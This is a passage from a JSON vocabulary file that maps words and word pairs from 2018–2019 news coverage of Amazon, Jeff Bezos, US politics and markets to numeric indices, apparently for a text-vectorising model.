207798,\n  \"setting expectations\": 207799,\n  \"latest moves\": 207800,\n  \"looked good\": 207801,\n  \"retrieve\": 207802,\n  \"underwithheld\": 207803,\n  \"circulation\": 207804,\n  \"battlegrounds posted\": 207805,\n  \"typical national\": 207806,\n  \"stauch norton\": 207807,\n  \"openings include\": 207808,\n  \"treating socialism\": 207809,\n  \"sulzberger statement\": 207810,\n  \"cruz heckled\": 207811,\n  \"party wine\": 207812,\n  \"stronger erections\": 207813,\n  \"viral pelosi\": 207814,\n  \"valley facebook\": 207815,\n  \"anders\": 207816,\n  \"nyc konst\": 207817,\n  \"iran meant\": 207818,\n  \"far haven\": 207819,\n  \"couple device\": 207820,\n  \"shipping expenses\": 207821,\n  \"services oasas\": 207822,\n  \"prompting amazon\": 207823,\n  \"evaded\": 207824,\n  \"daughter health\": 207825,\n  \"2018 mothers\": 207826,\n  \"finance data\": 207827,\n  \"5m enabling\": 207828,\n  \"ext medium\": 207829,\n  \"tax fairness\": 207830,\n  \"content platform\": 207831,\n  \"coloring books\": 207832,\n  \"overall\": 207833,\n  \"stock surge\": 207834,\n  \"fbi headquarters\": 207835,\n  \"stock decreased\": 207836,\n  \"rex tillerson\": 207837,\n  \"cost works\": 207838,\n  \"carrier professor\": 207839,\n  \"robert muller\": 207840,\n  \"neglect\": 207841,\n  \"detroit\": 207842,\n  \"dumped netflix\": 207843,\n  \"2018 aws\": 207844,\n  \"day hope\": 207845,\n  \"cristina alesci\": 207846,\n  \"matrimonial\": 207847,\n  \"individual chefs\": 207848,\n  \"johnson cnn\": 207849,\n  \"140 points\": 207850,\n  \"shipping partner\": 207851,\n  \"pedo rescue\": 207852,\n  \"sales rose\": 207853,\n  \"filed antitrust\": 207854,\n  \"ndm1pvknzp\": 207855,\n  \"sitting quietly\": 207856,\n  \"eviction\": 207857,\n  \"story rising\": 207858,\n  \"trump accused\": 207859,\n  \"onerous process\": 207860,\n  \"humble everyman\": 207861,\n  \"warning signs\": 207862,\n  \"helped reassure\": 207863,\n  \"offset higher\": 207864,\n  \"fund project\": 207865,\n  \"nyse cbg\": 207866,\n  \"zinke did\": 207867,\n  \"winning novel\": 207868,\n  \"woff\": 207869,\n  \"amazon bob\": 207870,\n  \"duped double\": 207871,\n  \"manageable size\": 207872,\n  \"new senators\": 207873,\n  \"290 long\": 207874,\n  \"jack witzig\": 207875,\n  \"cattle raisers\": 207876,\n  \"betrayals sex\": 207877,\n  \"publish bezos\": 207878,\n  \"domain radar\": 207879,\n  \"somewhat reduce\": 207880,\n  \"mdf\": 207881,\n  \"disruptions\": 207882,\n  \"omid malekan\": 207883,\n  \"lauren bacall\": 207884,\n  \"photoessayslides\": 207885,\n  \"virginia ohio\": 207886,\n  \"political material\": 207887,\n  \"capitalists\": 207888,\n  \"amazon guarantees\": 207889,\n  \"connects manhattan\": 207890,\n  \"merged\": 207891,\n  \"leave mackenzie\": 207892,\n  \"pulse infuriated\": 207893,\n  \"438\": 207894,\n  \"haaretz\": 207895,\n  \"59m criticizes\": 207896,\n  \"second guess\": 207897,\n  \"keeping massive\": 207898,\n  \"early mover\": 207899,\n  \"abortive amazon\": 207900,\n  \"specific anecdotes\": 207901,\n  \"amazon banned\": 207902,\n  \"tariffs gm\": 207903,\n  \"easier task\": 207904,\n  \"computing bidding\": 207905,\n  \"baby phoenix\": 207906,\n  \"q2 results\": 207907,\n  \"group aclu\": 207908,\n  \"hosts backups\": 207909,\n  \"jews\": 207910,\n  \"companies morethough\": 207911,\n  \"drone ception\": 207912,\n  \"smoke weed\": 207913,\n  \"promotional offer\": 207914,\n  \"manager brad\": 207915,\n  \"diverges\": 207916,\n  \"mccarthyhouse\": 207917,\n  \"means donald\": 207918,\n  \"fron\": 207919,\n  \"dividing large\": 207920,\n  \"trump allies\": 207921,\n  \"amzn reportedly\": 207922,\n  \"investigation capitol\": 207923,\n  \"sold 929\": 207924,\n  \"site click\": 207925,\n  \"high bandwidth\": 207926,\n  \"iron\": 207927,\n  \"email letters\": 207928,\n  \"wyden\": 207929,\n  \"amazon visited\": 207930,\n  \"voluntarily\": 207931,\n  \"series broadway\": 207932,\n  \"appeal chukumba\": 207933,\n  \"great honor\": 207934,\n  \"idyllic home\": 207935,\n  \"stay green\": 207936,\n  \"postponed npr\": 207937,\n  \"corporations amazon\": 207938,\n  \"633a4f8c129d\": 207939,\n  \"stakes summit\": 207940,\n  \"huseman immediately\": 207941,\n  \"428030 aut_base_filelocation\": 207942,\n  \"housing looking\": 207943,\n  \"padr\\u00f3n president\": 207944,\n  \"positions expedia\": 207945,\n  \"administration earlier\": 207946,\n  \"guidelines outline\": 207947,\n  \"losing ratings\": 207948,\n  \"rapid shift\": 207949,\n  \"pr response\": 207950,\n  \"domestic spending\": 207951,\n  \"head movement\": 207952,\n  \"air ocean\": 207953,\n  \"conservative content\": 207954,\n  \"trump direction\": 207955,\n  \"congratulated\": 207956,\n  \"elected general\": 207957,\n  \"negotiate price\": 207958,\n  \"testing number\": 207959,\n  \"zedong pol\": 207960,\n  \"relax combined\": 207961,\n  \"course tycoon\": 207962,\n  \"quarterly predicts\": 207963,\n  \"term fundamentals\": 207964,\n  \"2019 golden\": 207965,\n  \"trending today\": 207966,\n  \"isn included\": 207967,\n  \"selling kids\": 207968,\n  \"rationale brian\": 207969,\n  \"wrath trump\": 207970,\n  \"startup convoy\": 207971,\n  \"increased wariness\": 207972,\n  \"offending\": 207973,\n  \"cultural divide\": 207974,\n  \"illegals\": 207975,\n  \"actress eve\": 207976,\n  \"additional lanes\": 207977,\n  \"corporate subterfuge\": 207978,\n  \"field assignment\": 207979,\n  \"piece dishwasher\": 207980,\n  \"shares dipped\": 207981,\n  \"hippies\": 207982,\n  \"citi thinks\": 207983,\n  \"thiel free\": 207984,\n  \"award procurement\": 207985,\n  \"vampiric relationship\": 207986,\n  \"publisher frederick\": 207987,\n  \"workers need\": 207988,\n  \"broadcast earlier\": 207989,\n  \"spent lot\": 207990,\n  \"photography\": 207991,\n  \"reasonable immigration\": 207992,\n  \"ruling pertaining\": 207993,\n  \"bakery\": 207994,\n  \"network remains\": 207995,\n  \"attorney norah\": 207996,\n  \"borders qualifying\": 207997,\n  \"2005 nestled\": 207998,\n  \"overcame marginal\": 207999,\n  \"deliberately promoted\": 208000,\n  \"7i0r4xht9m\": 208001,\n  \"trump simple\": 208002,\n  \"royal family\": 208003,\n  \"brand vans\": 208004,\n  \"newspaper ownership\": 208005,\n  \"battled\": 208006,\n  \"popular paid\": 208007,\n  \"surveillance information\": 208008,\n  \"037 shares\": 208009,\n  \"pound dollar\": 208010,\n  \"ceremonially\": 208011,\n  \"facing political\": 208012,\n  \"singing pen\": 208013,\n  \"government 2018\": 208014,\n  \"amazon doesn\": 208015,\n  \"ceo elon\": 208016,\n  \"strongly oppose\": 208017,\n  \"committed pro\": 208018,\n  \"delivery guarantee\": 208019,\n  \"government plan\": 208020,\n  \"polarizing issues\": 208021,\n  \"lock box\": 208022,\n  \"panel discussion\": 208023,\n  \"plays\": 208024,\n  \"track gideon\": 208025,\n  \"lucrative local\": 208026,\n  \"screams\": 208027,\n  \"facebook platform\": 208028,\n  \"hurricane response\": 208029,\n  \"d4e rebel\": 208030,\n  \"good late\": 208031,\n  \"chuck grassley\": 208032,\n  \"harmful biases\": 208033,\n  \"balanced\": 208034,\n  \"recognizing\": 208035,\n  \"advertising executive\": 208036,\n  \"internet service\": 208037,\n  \"putting restrictions\": 208038,\n  \"water wings\": 208039,\n  \"armed services\": 208040,\n  \"tech geek\": 208041,\n  \"cases populism\": 208042,\n  \"user registeredin\": 208043,\n  \"confess\": 208044,\n  \"rescuer\": 208045,\n  \"quarter cibc\": 208046,\n  \"nth\": 208047,\n  \"house judiciary\": 208048,\n  \"pulverize trump\": 208049,\n  \"economic vision\": 208050,\n  \"dartmouth\": 208051,\n  \"warehouse just\": 208052,\n  \"called kyrsten\": 208053,\n  \"girlfriend leaked\": 208054,\n  \"rents partnering\": 208055,\n  \"a4ee s8\": 208056,\n  \"bay wis\": 208057,\n  \"witness tampering\": 208058,\n  \"really game\": 208059,\n  \"york officials\": 208060,\n  \"rebekah peppler\": 208061,\n  \"zte\": 208062,\n  \"things donald\": 208063,\n  \"winded\": 208064,\n  \"watched prepare\": 208065,\n  \"charles rettig\": 208066,\n  \"combat abusive\": 208067,\n  \"ecological disaster\": 208068,\n  \"vintage waterproof\": 208069,\n  \"market dominating\": 208070,\n  \"benefits fund\": 208071,\n  \"videocmsurl videos\": 208072,\n  \"jshapiro\": 208073,\n  \"marquette team\": 208074,\n  \"entire program\": 208075,\n  \"press creole\": 208076,\n  \"sol reserve\": 208077,\n  \"lenders including\": 208078,\n  \"pricey home\": 208079,\n  \"fundamental change\": 208080,\n  \"181\": 208081,\n  \"escort\": 208082,\n  \"mein\": 208083,\n  \"proving collusion\": 208084,\n  \"foot campus\": 208085,\n  \"calls self\": 208086,\n  \"collins murkowski\": 208087,\n  \"mounted twitter\": 208088,\n  \"founder wealth\": 208089,\n  \"wrote hanson\": 208090,\n  \"talks amazon\": 208091,\n  \"nyse vmw\": 208092,\n  \"did ami\": 208093,\n  \"today drop\": 208094,\n  \"ranking connections\": 208095,\n  \"technology leading\": 208096,\n  \"tax bases\": 208097,\n  \"inflation low\": 208098,\n  \"naacp equity\": 208099,\n  \"mcmillan\": 208100,\n  \"konst recently\": 208101,\n  \"newsroom\": 208102,\n  \"fretted\": 208103,\n  \"heather babb\": 208104,\n  \"president nova\": 208105,\n  \"maher photo\": 208106,\n  \"work jeff\": 208107,\n  \"north koreans\": 208108,\n  \"safe online\": 208109,\n  \"far amazon\": 208110,\n  \"viewreport\": 208111,\n  \"company realme\": 208112,\n  \"home state\": 208113,\n  \"outcome realize\": 208114,\n  \"employees receive\": 208115,\n  \"company failure\": 208116,\n  \"watson holds\": 208117,\n  \"peddling fake\": 208118,\n  \"new phase\": 208119,\n  \"central focus\": 208120,\n  \"revenue forecasts\": 208121,\n  \"stickier\": 208122,\n  \"attuned author\": 208123,\n  \"think markets\": 208124,\n  \"starbucks reserve\": 208125,\n  \"2016 lows\": 208126,\n  \"perfect opportunity\": 208127,\n  \"bet nicki\": 208128,\n  \"advise company\": 208129,\n  \"elections graduates\": 208130,\n  \"jquery articleelem\": 208131,\n  \"greenhouse\": 208132,\n  \"cyclical\": 208133,\n  \"better watch\": 208134,\n  \"rise disclosures\": 208135,\n  \"gerrymandered 9th\": 208136,\n  \"company captures\": 208137,\n  \"bowen\": 208138,\n  \"microsoft profit\": 208139,\n  \"capitalization increased\": 208140,\n  \"upper 80s\": 208141,\n  \"bezos accomplishments\": 208142,\n  \"exclusive source\": 208143,\n  \"opinions grateful\": 208144,\n  \"headquarters bringing\": 208145,\n  \"level required\": 208146,\n  \"opened mini\": 208147,\n  \"badly outnumbered\": 208148,\n  \"retailers showed\": 208149,\n  \"theodore\": 208150,\n  \"prue\": 208151,\n  \"kids beginning\": 208152,\n  \"enforcement particularly\": 208153,\n  \"unrestrained\": 208154,\n  \"tech regulator\": 208155,\n  \"self defense\": 208156,\n  \"says reuters\": 208157,\n  \"nikkei tumbled\": 208158,\n  \"owns 531\": 208159,\n  \"resurgence\": 208160,\n  \"render\": 208161,\n  \"jobs commitment\": 208162,\n  \"room thumb\": 208163,\n  \"spring accusing\": 208164,\n  \"large institutions\": 208165,\n  \"indigenous lands\": 208166,\n  \"citing person\": 208167,\n  \"announcement leaving\": 208168,\n  \"florida supervisors\": 208169,\n  \"negotiating table\": 208170,\n  \"analytical\": 208171,\n  \"statement american\": 208172,\n  \"author rebecca\": 208173,\n  \"reshoring tariffs\": 208174,\n  \"alexa plays\": 208175,\n  \"median pay\": 208176,\n  \"valuation 2018\": 208177,\n  \"jenni\": 208178,\n  \"ben cutting\": 208179,\n  \"rogin\": 208180,\n  \"notable republicans\": 208181,\n  \"report revisions\": 208182,\n  \"current position\": 208183,\n  \"amazon cardboard\": 208184,\n  \"bias levied\": 208185,\n  \"open society\": 208186,\n  \"online peak\": 208187,\n  \"haven amounted\": 208188,\n  \"stock rating\": 208189,\n  \"sessions takes\": 208190,\n  \"tough election\": 208191,\n  \"limousines america\": 208192,\n  \"exploring sale\": 208193,\n  \"weather kelly\": 208194,\n  \"coin offerings\": 208195,\n  \"infrastructure support\": 208196,\n  \"farm states\": 208197,\n  \"order best\": 208198,\n  \"announced ahead\": 208199,\n  \"videotape contessa\": 208200,\n  \"powerful tech\": 208201,\n  \"amazon controls\": 208202,\n  \"ruling handed\": 208203,\n  \"progressively flat\": 208204,\n  \"execution content\": 208205,\n  \"dioxide hit\": 208206,\n  \"lower taxes\": 208207,\n  \"monopoly status\": 208208,\n  \"watch going\": 208209,\n  \"abandoned tucson\": 208210,\n  \"overpriced cloud\": 208211,\n  \"wealth took\": 208212,\n  \"inch base\": 208213,\n  \"architectures carlson\": 208214,\n  \"splitting aws\": 208215,\n  \"job approval\": 208216,\n  \"customer starting\": 208217,\n  \"splurge wine\": 208218,\n  \"registration everytown\": 208219,\n  \"crying\": 208220,\n  \"controversial choice\": 208221,\n  \"handsome payments\": 208222,\n  \"amazon multiple\": 208223,\n  \"deal weren\": 208224,\n  \"wiz\": 208225,\n  \"think overall\": 208226,\n  \"abramson listed\": 208227,\n  \"smarter\": 208228,\n  \"marketing models\": 208229,\n  \"matter gm\": 208230,\n  \"bills accountants\": 208231,\n  \"relatively old\": 208232,\n  \"regularly sends\": 208233,\n  \"despite second\": 208234,\n  \"team victory\": 208235,\n  \"information thatwe\": 208236,\n  \"union practices\": 208237,\n  \"recent trading\": 208238,\n  \"bullard\": 208239,\n  \"oversight council\": 208240,\n  \"nikkei gains\": 208241,\n  \"cultivator tilray\": 208242,\n  \"company plugable\": 208243,\n  \"metres ice\": 208244,\n  \"affair investigation\": 208245,\n  \"mazzilli\": 208246,\n  \"biggest retail\": 208247,\n  \"ridiculed new\": 208248,\n  \"red mccain\": 208249,\n  \"veteran seattle\": 208250,\n  \"head butting\": 208251,\n  \"international post\": 208252,\n  \"bezos contact\": 208253,\n  \"192 nation\": 208254,\n  \"twitter missing\": 208255,\n  \"\\u014235billion charitable\": 208256,\n  \"tac\": 208257,\n  \"gold dropped\": 208258,\n  \"hill etsy\": 208259,\n  \"rules corporations\": 208260,\n  \"npd bookscan\": 208261,\n  \"power gives\": 208262,\n  \"total bear\": 208263,\n  \"727 605\": 208264,\n  \"startdate 2f4\": 208265,\n  \"days according\": 208266,\n  \"ruffle\": 208267,\n  \"amazon support\": 208268,\n  \"ryan stumbles\": 208269,\n  \"rana\": 208270,\n  \"series embedded\": 208271,\n  \"related agencies\": 208272,\n  \"administration coverage\": 208273,\n  \"protect consumers\": 208274,\n  \"joined netflix\": 208275,\n  \"mangled worst\": 208276,\n  \"paris banlieues\": 208277,\n  \"billionaire sam\": 208278,\n  \"china hawk\": 208279,\n  \"relaxation\": 208280,\n  \"cables\": 208281,\n  \"request saying\": 208282,\n  \"scrapped new\": 208283,\n  \"roker\": 208284,\n  \"old rate\": 208285,\n  \"showlogo true\": 208286,\n  \"dispelling myths\": 208287,\n  \"trumps china\": 208288,\n  \"cap 920\": 208289,\n  \"celebrity best\": 208290,\n  \"wall live\": 208291,\n  \"toughest criticism\": 208292,\n  \"personal advice\": 208293,\n  \"donald america\": 208294,\n  \"involves matching\": 208295,\n  \"amazon promises\": 208296,\n  \"member bezos\": 208297,\n  \"explored majestic\": 208298,\n  \"unions kicked\": 208299,\n  \"national search\": 208300,\n  \"start vetting\": 208301,\n  \"suggesting bottle\": 208302,\n  \"file sharing\": 208303,\n  \"slas\": 208304,\n  \"shines\": 208305,\n  \"customers stopped\": 208306,\n  \"ttwo\": 208307,\n  \"usps proposes\": 208308,\n  \"lead plaintiffs\": 208309,\n  \"daughter line\": 208310,\n  \"feeling little\": 208311,\n  \"government bezos\": 208312,\n  \"shutdown reality\": 208313,\n  \"inaccurately\": 208314,\n  \"better educated\": 208315,\n  \"cotton\": 208316,\n  \"media outlets\": 208317,\n  \"advertising companies\": 208318,\n  \"travel taxi2airport\": 208319,\n  \"resisted noting\": 208320,\n  \"entire economic\": 208321,\n  \"exhausting 600\": 208322,\n  \"force hopes\": 208323,\n  \"bezos punted\": 208324,\n  \"editorial positions\": 208325,\n  \"bullies\": 208326,\n  \"ramp\": 208327,\n  \"212\": 208328,\n  \"echo personal\": 208329,\n  \"hyde economy\": 208330,\n  \"things coming\": 208331,\n  \"national scene\": 208332,\n  \"banks google\": 208333,\n  \"nygren\": 208334,\n  \"bezos accusation\": 208335,\n  \"mean wow\": 208336,\n  \"vehement opposition\": 208337,\n  \"receives public\": 208338,\n  \"buckey\": 208339,\n  \"say bezos\": 208340,\n  \"smart acquisition\": 208341,\n  \"questions swirl\": 208342,\n  \"mass surveillance\": 208343,\n  \"peak market\": 208344,\n  \"inviting manufacturers\": 208345,\n  \"republican young\": 208346,\n  \"make bezos\": 208347,\n  \"logic\": 208348,\n  \"div group\": 208349,\n  \"usable john\": 208350,\n  \"loud cheers\": 208351,\n  \"giving\": 208352,\n  \"healthy families\": 208353,\n  \"apple based\": 208354,\n  \"ryan schmid\": 208355,\n  \"enjoying low\": 208356,\n  \"programme certain\": 208357,\n  \"united state\": 208358,\n  \"tarnish\": 208359,\n  \"licensed realtor\": 208360,\n  \"transactional development\": 208361,\n  \"losses china\": 208362,\n  \"flagrant ethics\": 208363,\n  \"hydroponic\": 208364,\n  \"isn run\": 208365,\n  \"daily source\": 208366,\n  \"rural areas\": 208367,\n  \"growth expectation\": 208368,\n  \"facing roadblocks\": 208369,\n  \"postal prices\": 208370,\n  \"amazon jitters\": 208371,\n  \"housing subsidies\": 208372,\n  \"exercising monopoly\": 208373,\n  \"personalized fashion\": 208374,\n  \"telltale charts\": 208375,\n  \"shareholder selection\": 208376,\n  \"taxpayer subsidy\": 208377,\n  \"history best\": 208378,\n  \"tv anchor\": 208379,\n  \"tonight sara\": 208380,\n  \"mcguire\": 208381,\n  \"sign licensing\": 208382,\n  \"partly lifted\": 208383,\n  \"peak\": 208384,\n  \"filed protests\": 208385,\n  \"slamming ami\": 208386,\n  \"rochester charlotte\": 208387,\n  \"including political\": 208388,\n  \"blue mexican\": 208389,\n  \"delighted\": 208390,\n  \"bolden stories\": 208391,\n  \"recently criticized\": 208392,\n  \"company future\": 208393,\n  \"sides tried\": 208394,\n  \"map iq\": 208395,\n  \"enquirer set\": 208396,\n  \"pricey\": 208397,\n  \"hanks bezos\": 208398,\n  \"uncovered kevin\": 208399,\n  \"people doorsteps\": 208400,\n  \"trump frustration\": 208401,\n  \"quandary buying\": 208402,\n  \"retail giant\": 208403,\n  \"share allows\": 208404,\n  \"results according\": 208405,\n  \"year brought\": 208406,\n  \"actively engaged\": 208407,\n  \"fair reported\": 208408,\n  \"mortals know\": 208409,\n  \"feel abortion\": 208410,\n  \"gaga sleep\": 208411,\n  \"assange arrest\": 208412,\n  \"guffaws\": 208413,\n  \"investors bullishness\": 208414,\n  \"mocking tweet\": 208415,\n  \"technology fee\": 208416,\n  \"europe leaders\": 208417,\n  \"kate hudson\": 208418,\n  \"city20\": 208419,\n  \"america appetite\": 208420,\n  \"based start\": 208421,\n  \"isqueue\": 208422,\n  \"business record\": 208423,\n  \"netflix latest\": 208424,\n  \"internet providers\": 208425,\n  \"breaches\": 208426,\n  \"amazon tries\": 208427,\n  \"administration portraying\": 208428,\n  \"ideology\": 208429,\n  \"ensued\": 208430,\n  \"partner rean\": 208431,\n  \"happy david\": 208432,\n  \"deal calling\": 208433,\n  \"criminal misconduct\": 208434,\n  \"despite losing\": 208435,\n  \"analysts generally\": 208436,\n  \"alicia glen\": 208437,\n  \"reproduced distributed\": 208438,\n  \"story va\": 208439,\n  \"digit margin\": 208440,\n  \"inc_meta_keywords jeff\": 208441,\n  \"rep elect\": 208442,\n  \"automated tracking\": 208443,\n  \"nyc pullout\": 208444,\n  \"including past\": 208445,\n  \"block ucla\": 208446,\n  \"really terrific\": 208447,\n  \"movement decade\": 208448,\n  \"edges bezos\": 208449,\n  \"legionnaires disease\": 208450,\n  \"scrutinizing postal\": 208451,\n  \"wrongful death\": 208452,\n  \"insider things\": 208453,\n  \"bhel\": 208454,\n  \"executive interviewed\": 208455,\n  \"tap reference\": 208456,\n  \"disqualification\": 208457,\n  \"000 miles\": 208458,\n  \"unprecedented money\": 208459,\n  \"retail flailing\": 208460,\n  \"fuel cell\": 208461,\n  \"clearly loved\": 208462,\n  \"meddling putin\": 208463,\n  \"hq plans\": 208464,\n  \"heating\": 208465,\n  \"yields refund\": 208466,\n  \"team crystal\": 208467,\n  \"perpetrator bezos\": 208468,\n  \"prevent companies\": 208469,\n  \"shoppers rate\": 208470,\n  \"flanked\": 208471,\n  \"walker chris\": 208472,\n  \"winter weather\": 208473,\n  \"board members\": 208474,\n  \"proposal fits\": 208475,\n  \"detrimental\": 208476,\n  \"midterms nevada\": 208477,\n  \"beating\": 208478,\n  \"image region\": 208479,\n  \"strategic tr\": 208480,\n  \"news operation\": 208481,\n  \"author paul\": 208482,\n  \"immunity deal\": 208483,\n  \"mta\": 208484,\n  \"soon ziedins\": 208485,\n  \"successful defense\": 208486,\n  \"jousts\": 208487,\n  \"trunks naked\": 208488,\n  \"accounts compromised\": 208489,\n  \"jeff blattner\": 208490,\n  \"youtube music\": 208491,\n  \"thon\": 208492,\n  \"intimidating workplace\": 208493,\n  \"leading political\": 208494,\n  \"gently skewer\": 208495,\n  \"wit hillary\": 208496,\n  \"gummies\": 208497,\n  \"amazon pitched\": 208498,\n  \"completed br\": 208499,\n  \"saw evidence\": 208500,\n  \"london baker\": 208501,\n  \"freakin\": 208502,\n  \"maybealleviate\": 208503,\n  \"crony newt\": 208504,\n  \"canada north\": 208505,\n  \"committee meeting\": 208506,\n  \"earnings android\": 208507,\n  \"strong corporate\": 208508,\n  \"combine world\": 208509,\n  \"federal acquisitions\": 208510,\n  \"sweating brexit\": 208511,\n  \"helps pad\": 208512,\n  \"challenge trump\": 208513,\n  \"theenquirer obtained\": 208514,\n  \"latest installment\": 208515,\n  \"parties stick\": 208516,\n  \"sheila thomas\": 208517,\n  \"benchmark\": 208518,\n  \"old snapchat\": 208519,\n  \"robust existing\": 208520,\n  \"238 million\": 208521,\n  \"including ray\": 208522,\n  \"causes family\": 208523,\n  \"analysts jason\": 208524,\n  \"presidents told\": 208525,\n  \"mac kenzie\": 208526,\n  \"nope\": 208527,\n  \"1972 aged\": 208528,\n  \"hear leaders\": 208529,\n  \"beds\": 208530,\n  \"just lobbying\": 208531,\n  \"elizabeth ii\": 208532,\n  \"budhraja\": 208533,\n  \"psych\": 208534,\n  \"charging big\": 208535,\n  \"volkskrant\": 208536,\n  \"party committee\": 208537,\n  \"interdiction\": 208538,\n  \"hindu business\": 208539,\n  \"fascists\": 208540,\n  \"substances called\": 208541,\n  \"svs\": 208542,\n  \"weird times\": 208543,\n  \"devicesall\": 208544,\n  \"holiday season\": 208545,\n  \"profits trumps\": 208546,\n  \"breaking stories\": 208547,\n  \"registers\": 208548,\n  \"sale date\": 208549,\n  \"include attorney\": 208550,\n  \"state net\": 208551,\n  \"flourish\": 208552,\n  \"comments lack\": 208553,\n  \"new members\": 208554,\n  \"sarlin\": 208555,\n  \"israel leaders\": 208556,\n  \"retail heavyweights\": 208557,\n  \"stunning reversal\": 208558,\n  \"turn shane\": 208559,\n  \"big jobs\": 208560,\n  \"network llc\": 208561,\n  \"resume operations\": 208562,\n  \"amazon grapples\": 208563,\n  \"looked sounded\": 208564,\n  \"half solutions\": 208565,\n  \"facebooks historic\": 208566,\n  \"civic technologist\": 208567,\n  \"mta huge\": 208568,\n  \"humans\": 208569,\n  \"stock picking\": 208570,\n  \"analyzed\": 208571,\n  \"sdny investigation\": 208572,\n  \"higher level\": 208573,\n  \"driving intense\": 208574,\n  \"nation coffers\": 208575,\n  \"future feared\": 208576,\n  \"world tweeted\": 208577,\n  \"bartiromo atif\": 208578,\n  \"athletes celebrities\": 208579,\n  \"howard struck\": 208580,\n  \"official cdc\": 208581,\n  \"rung emails\": 208582,\n  \"technician amazon\": 208583,\n  \"null inc_hide_article_sidebarflag\": 208584,\n  \"perform higher\": 208585,\n  \"sanchez michael\": 208586,\n  \"delong flying\": 208587,\n  \"school 19th\": 208588,\n  \"publisher cnn\": 208589,\n  \"sleaze dial\": 208590,\n  \"2017 towns\": 208591,\n  \"2016 omnibus\": 208592,\n  \"prospering\": 208593,\n  \"retailers eventually\": 208594,\n  \"trumponomics inside\": 208595,\n  \"robust 218\": 208596,\n  \"trump accidentally\": 208597,\n  \"lengthy thriller\": 208598,\n  \"programming economist\": 208599,\n  \"dalykyle nancy\": 208600,\n  \"cable newswers\": 208601,\n  \"rezonings\": 208602,\n  \"sir waters\": 208603,\n  \"hatam\": 208604,\n  \"help things\": 208605,\n  \"politics aside\": 208606,\n  \"jeffries hasn\": 208607,\n  \"deemed impossible\": 208608,\n  \"community blowback\": 208609,\n  \"recent jolts\": 208610,\n  \"global stability\": 208611,\n  \"month just\": 208612,\n  \"equally sized\": 208613,\n  \"fact fought\": 208614,\n  \"doesn know\": 208615,\n  \"233 billion\": 208616,\n  \"transgender americans\": 208617,\n  \"troy balderson\": 208618,\n  \"territorial\": 208619,\n  \"donnelly clients\": 208620,\n  \"negotiations constituted\": 208621,\n  \"expos\\u0449\\u0430of\": 208622,\n  \"ebitda globenewswire\": 208623,\n  \"pollack 2018\": 208624,\n  \"man current\": 208625,\n  \"laughs old\": 208626,\n  \"new initiative\": 208627,\n  \"model trump\": 208628,\n  \"dankest\": 208629,\n  \"widely considered\": 208630,\n  \"week itwas\": 208631,\n  \"planned split\": 208632,\n  \"advisory firm\": 208633,\n  \"different projects\": 208634,\n  \"sarah smarsh\": 208635,\n  \"agency seeks\": 208636,\n  \"renegotiated\": 208637,\n  \"building massively\": 208638,\n  \"privacy argument\": 208639,\n  \"generally\": 208640,\n  \"murdoch news\": 208641,\n  \"reliable sources\": 208642,\n  \"nba player\": 208643,\n  \"400\": 208644,\n  \"rematch\": 208645,\n  \"acquisition\": 208646,\n  \"tgt free\": 208647,\n  \"advertising division\": 208648,\n  \"speed adoption\": 208649,\n  \"performance improves\": 208650,\n  \"treat corporate\": 208651,\n  \"haaretz newspaper\": 208652,\n  \"promised job\": 208653,\n  \"aliya\": 208654,\n  \"replica\": 208655,\n  \"fiction correcting\": 208656,\n  \"ultimately helping\": 208657,\n  \"avoid anothergovernment\": 208658,\n  \"contracting experts\": 208659,\n  \"sad day\": 208660,\n  \"nefarious personal\": 208661,\n  \"malley\": 208662,\n  \"dc including\": 208663,\n  \"measure function\": 208664,\n  \"price quality\": 208665,\n  \"gala dinner\": 208666,\n  \"mcnicholas director\": 208667,\n  \"indirect loss\": 208668,\n  \"legendary coach\": 208669,\n  \"15th 2018\": 208670,\n  \"seek employment\": 208671,\n  \"poodle list\": 208672,\n  \"facebook messages\": 208673,\n  \"offers dozens\": 208674,\n  \"bay capital\": 208675,\n  \"s8i i8\": 208676,\n  \"recommend fixes\": 208677,\n  \"trade interests\": 208678,\n  \"work culture\": 208679,\n  \"tm 2018\": 208680,\n  \"valley biggest\": 208681,\n  \"reaping benefits\": 208682,\n  \"nose little\": 208683,\n  \"know going\": 208684,\n  \"underage children\": 208685,\n  \"mail company\": 208686,\n  \"krupnick\": 208687,\n  \"unruly\": 208688,\n  \"policy intelligence\": 208689,\n  \"diets\": 208690,\n  \"close advisors\": 208691,\n  \"message amazon\": 208692,\n  \"rights just\": 208693,\n  \"recently believe\": 208694,\n  \"billion range\": 208695,\n  \"restrooms\": 208696,\n  \"becker lawyer\": 208697,\n  \"deal nonetheless\": 208698,\n  \"did exceptional\": 208699,\n  \"court atomwaffen\": 208700,\n  \"upends golan\": 208701,\n  \"wide platform\": 208702,\n  \"source new\": 208703,\n  \"sports music\": 208704,\n  \"trading early\": 208705,\n  \"sensing trend\": 208706,\n  \"simplicity virgil\": 208707,\n  \"requesting seat\": 208708,\n  \"irritation\": 208709,\n  \"manufacturing iphones\": 208710,\n  \"telling abc\": 208711,\n  \"inventing\": 208712,\n  \"packing bit\": 208713,\n  \"base fare\": 208714,\n  \"deputy postmaster\": 208715,\n  \"long portfolio\": 208716,\n  \"baiting\": 208717,\n  \"incredibly excited\": 208718,\n  \"saying shows\": 208719,\n  \"choose character\": 208720,\n  \"chain\": 208721,\n  \"business people\": 208722,\n  \"losing steam\": 208723,\n  \"2012 homeowners\": 208724,\n  \"reserve special\": 208725,\n  \"assessment\": 208726,\n  \"secretary takes\": 208727,\n  \"signals\": 208728,\n  \"distrustful\": 208729,\n  \"vision mission\": 208730,\n  \"declining circulation\": 208731,\n  \"google settled\": 208732,\n  \"mail employee\": 208733,\n  \"develop legislation\": 208734,\n  \"century idea\": 208735,\n  \"consumers control\": 208736,\n  \"mccain told\": 208737,\n  \"westnead\": 208738,\n  \"brooklyn borough\": 208739,\n  \"host blames\": 208740,\n  \"trump participated\": 208741,\n  \"accuracy face\": 208742,\n  \"asked mayor\": 208743,\n  \"finely calibrated\": 208744,\n  \"users post\": 208745,\n  \"raad\": 208746,\n  \"handicap mode\": 208747,\n  \"girls afraid\": 208748,\n  \"amazon uber\": 208749,\n  \"presbyterian\": 208750,\n  \"autonomous\": 208751,\n  \"accounting incremental\": 208752,\n  \"need closer\": 208753,\n  \"fundamentals remain\": 208754,\n  \"false muteoverlayclicked\": 208755,\n  \"mortgage financial\": 208756,\n  \"picker nyse\": 208757,\n  \"initially seen\": 208758,\n  \"getting billions\": 208759,\n  \"banking division\": 208760,\n  \"grousing\": 208761,\n  \"year brings\": 208762,\n  \"tump antitrust\": 208763,\n  \"china xi\": 208764,\n  \"npr government\": 208765,\n  \"year regardless\": 208766,\n  \"directly hired\": 